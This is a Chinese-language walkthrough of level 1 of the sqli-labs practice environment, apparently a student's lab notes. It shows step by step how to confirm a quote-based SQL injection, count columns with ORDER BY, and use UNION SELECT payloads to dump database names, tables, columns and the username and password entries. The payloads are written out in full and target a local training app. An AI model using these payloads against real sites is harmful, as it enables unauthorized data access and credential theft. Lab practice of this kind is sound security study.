目录
2、在地址栏?id=1 后加上 and 1=2 可看到页面显示正常。
3、由上我们发现输入and 1=2后,页面正常,由此我们考虑是否是字符型注入。
4、可以看到加上单引号页面发生报错,我们根据报错的信息来进行下一步操作。
5、在?id=1'后加上--+(起注释的作用),可看到页面恢复正常,由此我们可知,当前网址存在单引号注入问题。
6、判断字段数,我们在?id=1' 加上 and 1=2 order by 3
7、由上可知,一共有3个字段,那么我们接下来就去查看每个字段的回显位置在哪里!
10、查询security数据库中users数据表中的所有字段
11、查询users数据表中username字段和password字段下的内容
第一关
3个页面:成功页面,错误页面,报错页面
1、在地址栏中地址的后面加上?id=1查看效果
2、在地址栏?id=1 后加上 and 1=2 可看到页面显示正常。
如果是字符型那么它就是'1 and 1=2 它就是true
如果是数值型那么它就是1 and 1=2 它就是false
查询的时候输入正确的值(true)它就会回显成功页面
查询的时候输入错误的值(false)它就会回显错误页面
我们输入正确的值,然后让它判断是否是错误的页面所以我们根据这个可以去判断字符型还是数值型
127.0.0.1:8080/sqli/Less-1?id=1 and 1=2
3、由上我们发现输入and 1=2后,页面正常,由此我们考虑是否是字符型注入。
加上单引号测试一下。
127.0.0.1:8080/sqli/Less-1/?id=1'
4、可以看到加上单引号页面发生报错,我们根据报错的信息来进行下一步操作。
''1'' LIMIT 0,1' 这是里面提示我们的信息
'1'' LIMIT 0,1 去掉两边的单引号(这里的单引号是提示的作用g)
'' LIMIT 0,1 去掉我们输入的内容,我们可以看到它是一个单引号闭合代码。
5、在?id=1'后加上--+(起注释的作用),可看到页面恢复正常,由此我们可知,当前网址存在单引号注入问题。
127.0.0.1:8080/sqli/Less-1/?id=1' --+
6、判断字段数,我们在?id=1' 加上 and 1=2 order by 3
and 1=2 是给页面一个错误的信息(类似于人家要1-9,你给了一个ABCDEF。)
order by 是用来判断数据库中表里有多少字段。
比如说姓名、电话、身份证号,这就是三个字段,然后姓名电话和身份证号下面的内容都是我们要获取的内容。
order by 3 简单理解就是 字段数是否为3
以下我们看到输入order by 3是正常错误的页面(错误和报错是两回事)
127.0.0.1:8080/sqli/Less-1/?id=1' and 1=2 order by 3 --+
然后把order by 3换成order by 4,可以看到页面出现报错,由此我们可知当前数据库的表中一共有3个字段。
有人会问:我怎么会知道它字段具体是多少,怎么猜。
我们可以二分法,什么是二分法,就是说我们第一次输入order by 10 它出现报错,那我们第二次就输入order by 5。
到此就是转折点,如果还是报错就输入 3或2,如果没报错就输入7或者8。
就是这种逐步去猜。
127.0.0.1:8080/sqli/Less-1/?id=1' and 1=2 order by 4 --+
7、由上可知,一共有3个字段,那么我们接下来就去查看每个字段的回显位置在哪里!
我们在 and 1=2 后加上union select 1,2,3(因为只有3个字段所以1,2,3),我们看到只有2跟3回显出来了,那么我们就利用这个2跟3来获取信息。
127.0.0.1:8080/sqli/Less-1/?id=1' and 1=2 union select 1,2,3 --+
8、查询所有数据库
127.0.0.1:8080/sqli/Less-1/?id=1' and 1=2 union select 1,binary(group_concat(schema_name)),3 from information_schema.schemata --+
9、查询当前数据库
127.0.0.1:8080/sqli/Less-1/?id=1' and 1=2 union select 1,database(),3 --+
9、查询security数据库中的所有数据表
127.0.0.1:8080/sqli/Less-1/?id=1' and 1=2 union select 1,binary(group_concat(table_name)),3 from information_schema.tables where table_schema="security" --+
10、查询security数据库中users数据表中的所有字段
127.0.0.1:8080/sqli/Less-1/?id=1' and 1=2 union select 1,binary(group_concat(column_name)),3 from information_schema.columns where table_schema='security' and table_name='users'--+
11、查询users数据表中username字段和password字段下的内容
127.0.0.1:8080/sqli/Less-1/?id=1' and 1=2 union select 1,binary(group_concat(username)),binary(group_concat(password)) from users --+
12、显示字段中单个内容
如果要查看下一个就 limit 1,1
limit 0,1 从第0位开始往后1位的内容(不包括0)
127.0.0.1:8080/sqli/Less-1/?id=1' and 1=2 union select 1,username,password from users limit 0,1--+
到此闯关完成,闯关结束。